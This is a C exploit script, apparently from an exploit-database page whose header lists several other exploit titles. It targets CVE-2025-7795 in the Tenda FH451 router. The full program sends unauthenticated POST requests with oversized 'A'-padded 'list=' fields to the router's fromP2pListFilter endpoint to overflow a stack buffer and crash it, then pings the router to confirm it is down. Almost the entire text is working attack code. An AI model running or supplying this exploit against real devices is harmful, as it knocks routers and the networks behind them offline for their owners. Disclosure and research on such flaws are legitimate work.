599853959f
13 changes to exploits/shellcodes/ghdb Tenda FH451 1.0.0.9 Router - Stack-based Buffer Overflow Discourse 3.1.1 - Unauthenticated Chat Message Access Pie Register WordPress Plugin 3.7.1.4 - Authentication Bypass to RCE Simple File List WordPress Plugin 4.2.2 - File Upload to RCE Joomla JS Jobs plugin 1.4.2 - SQL injection LiveHelperChat 4.61 - Stored Cross Site Scripting (XSS) via Department Assignment Alias Nick Field LiveHelperChat 4.61 - Stored Cross Site Scripting (XSS) via Facebook Integration Page Name Field LiveHelperChat 4.61 - Stored Cross Site Scripting (XSS) via Operator Surname LiveHelperChat 4.61 - Stored Cross Site Scripting (XSS) via Personal Canned Messages LiveHelperChat 4.61 - Stored Cross Site Scripting (XSS) via Telegram Bot Username LiveHelperChat 4.61 - Stored Cross Site Scripting (XSS) via the Chat Transfer Function Microsoft Edge Windows 10 Version 1511 - Cross Site Scripting (XSS)
381 lines
No EOL
12 KiB
C
381 lines
No EOL
12 KiB
C
/*
|
|
* Title : Tenda FH451 1.0.0.9 Router - Stack-based Buffer Overflow
|
|
* Author : Byte Reaper
|
|
* Telegram : @ByteReaper0
|
|
* CVE : CVE-2025-7795
|
|
* Vulnerability : Buffer Overflow
|
|
* Description :
|
|
* A buffer overflow vulnerability affecting certain Tenda routers,
|
|
* exploitable via an unauthenticated POST request to an unprotected endpoint, leading to service crash.
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
#include <unistd.h>
|
|
#include "argparse.h"
|
|
#include <arpa/inet.h>
|
|
#include <stdlib.h>
|
|
#include <curl/curl.h>
|
|
#include <sys/wait.h>
|
|
|
|
#define FULL_URL 2500
|
|
#define POST_DATA 10000
|
|
|
|
const char *targetUrl = NULL;
|
|
const char *targetip = NULL;
|
|
int selectIp = 0;
|
|
int selectUrl = 0;
|
|
int verbose = 0;
|
|
int showOne = 0;
|
|
char postData[POST_DATA];
|
|
|
|
struct Mem
|
|
{
|
|
char *buffer;
|
|
size_t len;
|
|
};
|
|
|
|
size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata)
|
|
{
|
|
size_t total = size * nmemb;
|
|
struct Mem *m = (struct Mem *)userdata;
|
|
char *tmp = realloc(m->buffer, m->len + total + 1);
|
|
if (!tmp) return 0;
|
|
m->buffer = tmp;
|
|
memcpy(&(m->buffer[m->len]), ptr, total);
|
|
m->len += total;
|
|
m->buffer[m->len] = '\0';
|
|
return total;
|
|
}
|
|
|
|
void pingPacket()
|
|
{
|
|
int pid = fork();
|
|
printf("\n============================================== [Ping] ==============================================\n");
|
|
if (pid < 0)
|
|
{
|
|
perror("\e[1;31m[-] Fork Failed!\e[0m");
|
|
exit(1);
|
|
}
|
|
if (pid == 0)
|
|
{
|
|
printf("\e[1;32m[+] Child Process (Ping) -> PID: %d\e[0m\n",
|
|
getpid());
|
|
char *const argv[] = { "/bin/ping",
|
|
"-c",
|
|
"3",
|
|
(char *)targetip,
|
|
NULL };
|
|
char *const envp[] = { NULL };
|
|
__asm__ volatile
|
|
(
|
|
"mov $59, %%rax\n\t"
|
|
"mov %[prog], %%rdi\n\t"
|
|
"mov %[argv], %%rsi\n\t"
|
|
"mov %[envp], %%rdx\n\t"
|
|
"syscall\n\t"
|
|
"mov $60, %%rax\n\t"
|
|
"xor %%rdi, %%rdi\n\t"
|
|
"syscall\n\t"
|
|
:
|
|
: [prog] "r" (argv[0]),
|
|
[argv] "r" (argv),
|
|
[envp] "r" (envp)
|
|
: "rax", "rdi", "rsi", "rdx"
|
|
);
|
|
}
|
|
else
|
|
{
|
|
printf("\e[1;32m[+] Main PID : %d\e[0m\n",
|
|
getpid());
|
|
int status;
|
|
waitpid(pid,
|
|
&status,
|
|
0);
|
|
if (WIFEXITED(status))
|
|
{
|
|
int code = WEXITSTATUS(status);
|
|
printf("\e[1;33m[+] Ping exited with code: %d\e[0m\n",
|
|
code);
|
|
if (code == 0)
|
|
{
|
|
printf("\e[1;31m[-] Successfully confirmed connection via ping!\e[0m\n");
|
|
printf("\e[1;31m[-] The server is still working, please try again!\n\e[0m");
|
|
}
|
|
else
|
|
{
|
|
printf("\e[1;34m[+] The server is not responding to the ping request!\e[0m\n");
|
|
printf("\e[1;34m[+] CVE-2025-7795: Vulnerability confirmed! Server is down.\e[0m\n");
|
|
}
|
|
}
|
|
}
|
|
printf("\n============================================================================================\e[0m\n");
|
|
}
|
|
|
|
void sendRequest()
|
|
{
|
|
CURL *c = curl_easy_init();
|
|
CURLcode res;
|
|
char full[FULL_URL];
|
|
struct Mem response = {NULL, 0};
|
|
if (!c) {
|
|
printf("\e[1;31m[-] Error Create Object Curl !\e[0m\n");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
if (targetip) selectIp = 1;
|
|
if (targetUrl) selectUrl = 1;
|
|
if (selectIp)
|
|
{
|
|
snprintf(full,
|
|
sizeof(full),
|
|
"http://%s/goform/fromP2pListFilter",
|
|
targetip);
|
|
}
|
|
if (selectUrl)
|
|
{
|
|
snprintf(full,
|
|
sizeof(full),
|
|
"%s/goform/fromP2pListFilter",
|
|
targetUrl);
|
|
}
|
|
int rounds = 5;
|
|
int baseLen = 3500, step = 1000;
|
|
showOne = 1;
|
|
for (int i = 0; i < rounds; i++)
|
|
{
|
|
int len = baseLen + i * step;
|
|
if (len + 6 >= sizeof(postData)) break;
|
|
snprintf(postData, sizeof(postData), "list=");
|
|
memset(postData + 5, 'A', len);
|
|
postData[5 + len] = '\0';
|
|
printf("\e[1;34m[%d] Iteration %d - Length: %d\e[0m\n",
|
|
i+1,
|
|
i+1,
|
|
len);
|
|
if (verbose)
|
|
{
|
|
printf("\e[1;35m\n====================================================================[Post Data] ====================================================================\e[0m\n");
|
|
printf("%s\e[0m\n\n", postData);
|
|
printf("\e[1;35m====================================================================[Post Data] ====================================================================\e[0m\n");
|
|
}
|
|
|
|
curl_easy_reset(c);
|
|
curl_easy_setopt(c,
|
|
CURLOPT_URL,
|
|
full);
|
|
curl_easy_setopt(c,
|
|
CURLOPT_ACCEPT_ENCODING,
|
|
"");
|
|
curl_easy_setopt(c,
|
|
CURLOPT_FOLLOWLOCATION,
|
|
1L);
|
|
curl_easy_setopt(c,
|
|
CURLOPT_POST,
|
|
1L);
|
|
curl_easy_setopt(c,
|
|
CURLOPT_POSTFIELDS,
|
|
postData);
|
|
curl_easy_setopt(c,
|
|
CURLOPT_POSTFIELDSIZE,
|
|
(long)strlen(postData));
|
|
curl_easy_setopt(c,
|
|
CURLOPT_WRITEFUNCTION,
|
|
write_cb);
|
|
curl_easy_setopt(c,
|
|
CURLOPT_WRITEDATA,
|
|
&response);
|
|
curl_easy_setopt(c,
|
|
CURLOPT_CONNECTTIMEOUT,
|
|
5L);
|
|
curl_easy_setopt(c,
|
|
CURLOPT_TIMEOUT,
|
|
10L);
|
|
curl_easy_setopt(c,
|
|
CURLOPT_SSL_VERIFYPEER,
|
|
0L);
|
|
curl_easy_setopt(c,
|
|
CURLOPT_SSL_VERIFYHOST,
|
|
0L);
|
|
struct curl_slist *h = NULL;
|
|
h = curl_slist_append(h,
|
|
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
|
|
h = curl_slist_append(h,
|
|
"Accept-Encoding: gzip, deflate, br");
|
|
h = curl_slist_append(h,
|
|
"Accept-Language: en-US,en;q=0.5");
|
|
h = curl_slist_append(h,
|
|
"Connection: keep-alive");
|
|
h = curl_slist_append(h,
|
|
"Referer: http://example.com");
|
|
h = curl_slist_append(h,
|
|
"Cache-Control: no-cache");
|
|
h = curl_slist_append(h,
|
|
"Pragma: no-cache");
|
|
curl_easy_setopt(c, CURLOPT_HTTPHEADER, h);
|
|
if (verbose) curl_easy_setopt(c, CURLOPT_VERBOSE, 1L);
|
|
|
|
char *encode1 = curl_easy_escape(c, full, 0);
|
|
if (!encode1)
|
|
{
|
|
printf("\e[1;31m[-] URL encoding failed for payload\e[0m\n");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
if (verbose && showOne)
|
|
{
|
|
printf("\e[1;37m=========================================");
|
|
if (selectUrl) printf("\e[1;37m[+] Input Url : %s\e[0m\n[+] Encode Url : %s\e[0m\n[+] full format Url : %s\e[0m\n",
|
|
targetUrl,
|
|
encode1,
|
|
full);
|
|
if (selectIp) printf("\e[1;37m[+] Input Ip : %s\e[0m\n[+] full format Url : %s\e[0m\n",
|
|
targetip,
|
|
full);
|
|
printf("=========================================");
|
|
showOne = 0;
|
|
}
|
|
res = curl_easy_perform(c);
|
|
curl_slist_free_all(h);
|
|
curl_free(encode1);
|
|
if (response.buffer)
|
|
{
|
|
free(response.buffer);
|
|
response.buffer = NULL;
|
|
response.len = 0;
|
|
}
|
|
if (res == CURLE_OK)
|
|
{
|
|
long httpCode = 0;
|
|
printf("\e[1;36m[+] Request sent successfully\e[0m\n");
|
|
curl_easy_getinfo(c, CURLINFO_RESPONSE_CODE,
|
|
&httpCode);
|
|
printf("\e[1;32m[+] Http Code Response : %ld\e[0m\n",
|
|
httpCode);
|
|
if (httpCode >= 200 && httpCode < 300)
|
|
{
|
|
printf("\e[1;31m[-] The server was not affected, still working !\n");
|
|
printf("\e[1;33m-------------------------------- Response Server --------------------------------\e[0m\n");
|
|
printf("%s\e[0m\n",
|
|
response.buffer);
|
|
printf("\e[1;33m-----------------------------------------------------------------------------------\e[0m\n");
|
|
}
|
|
else
|
|
{
|
|
printf("\e[1;34m[+] Negative server response. I started trying to confirm the connection...\e[0m\n");
|
|
printf("[+] Run Command Ping For Check Connection : \e[0m\n");
|
|
if (selectIp) pingPacket();
|
|
else printf("[-] Error Run Command Ping for URl !\e[0m\n[-] Please Enter Target Ip for Check Connection !\e[0m\n");
|
|
}
|
|
}
|
|
else
|
|
{
|
|
printf("[-] Error Send Request, Please Check Your Connection !\e[0m\n");
|
|
printf("[-] Error : %s\n", curl_easy_strerror(res));
|
|
}
|
|
}
|
|
free(response.buffer);
|
|
curl_easy_cleanup(c);
|
|
}
|
|
|
|
int main(int argc,
|
|
const char **argv)
|
|
{
|
|
printf(
|
|
"\e[1;31m"
|
|
"▄▖▖▖▄▖ ▄▖▄▖▄▖▄▖ ▄▖▄▖▄▖▄▖ \n"
|
|
"▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖ ▌ ▌▙▌▙▖ \n"
|
|
"▙▖▚▘▙▖ ▙▖█▌▙▖▄▌ ▌ ▌▄▌▄▌ \n"
|
|
" \e[1;37mByte Reaper\e[0m\n"
|
|
);
|
|
printf("\e[1;37m---------------------------------------------------------------------------------------------------------------------------------\e[0m\n");
|
|
if (getuid() != 0)
|
|
{
|
|
printf("===================================================\e[0m\n");
|
|
printf("[-] Not running as root. Trying with sudo...\e[0m\n");
|
|
|
|
char *args[] = {(char*)"sudo",
|
|
(char*)"./exploit",
|
|
NULL};
|
|
execvp("sudo", args);
|
|
|
|
perror("[-] Error Run Exploit in Root !");
|
|
__asm__ volatile
|
|
(
|
|
"mov $0x3C, %%rax\n\t"
|
|
"xor %%rdi, %%rdi\n\t"
|
|
"syscall\n\t"
|
|
:
|
|
:
|
|
: "rdi"
|
|
);
|
|
}
|
|
printf("\e[1;36m[+] Running as root! Exploit continues...\e[0m\n");
|
|
printf("===================================================\e[0m\n");
|
|
|
|
struct argparse_option options[] =
|
|
{
|
|
OPT_HELP(),
|
|
OPT_STRING('i',
|
|
"ip",
|
|
&targetip,
|
|
"Enter Target IP"),
|
|
OPT_STRING('u',
|
|
"url",
|
|
&targetUrl,
|
|
"Enter Target URL"),
|
|
OPT_BOOLEAN('v',
|
|
"verbose",
|
|
&verbose,
|
|
"Verbose Mode"),
|
|
OPT_END(),
|
|
};
|
|
|
|
struct argparse argparse;
|
|
argparse_init(&argparse,
|
|
options,
|
|
NULL,
|
|
0);
|
|
argparse_parse(&argparse,
|
|
argc,
|
|
argv);
|
|
|
|
if (!targetip && !targetUrl)
|
|
{
|
|
printf("\e[1;33m[-] Please Enter Target IP OR URl !\e[0m\n");
|
|
printf("\e[1;33m[!] Exemple : ./exploit -u http://ROUTER_IP\e[0m\n");
|
|
printf("[+] OR \n");
|
|
printf("\e[1;33m[!] Exemple : ./exploit -i ROUTER_IP\e[0m\n");
|
|
__asm__ volatile(
|
|
"xor %%rdi, %%rdi\n\t"
|
|
"mov $0x3C, %%rax\n\t"
|
|
"1:\n\t"
|
|
"syscall\n\t"
|
|
:
|
|
:
|
|
: "rax", "rdi", "rsi"
|
|
);
|
|
}
|
|
if (targetip && targetUrl)
|
|
{
|
|
printf("[+] Please Enter Traget URL OR Traget Ip address, Exit...\e[0m\n");
|
|
__asm__ volatile
|
|
(
|
|
"mov $0x3C, %%rax\n\t"
|
|
"xor %%rdi, %%rdi\n\t"
|
|
"syscall\n\t"
|
|
:
|
|
:
|
|
:"rdi"
|
|
);
|
|
}
|
|
if (selectIp)
|
|
{
|
|
sendRequest();
|
|
}
|
|
else
|
|
{
|
|
sendRequest();
|
|
}
|
|
|
|
|
|
return 0;
|
|
} |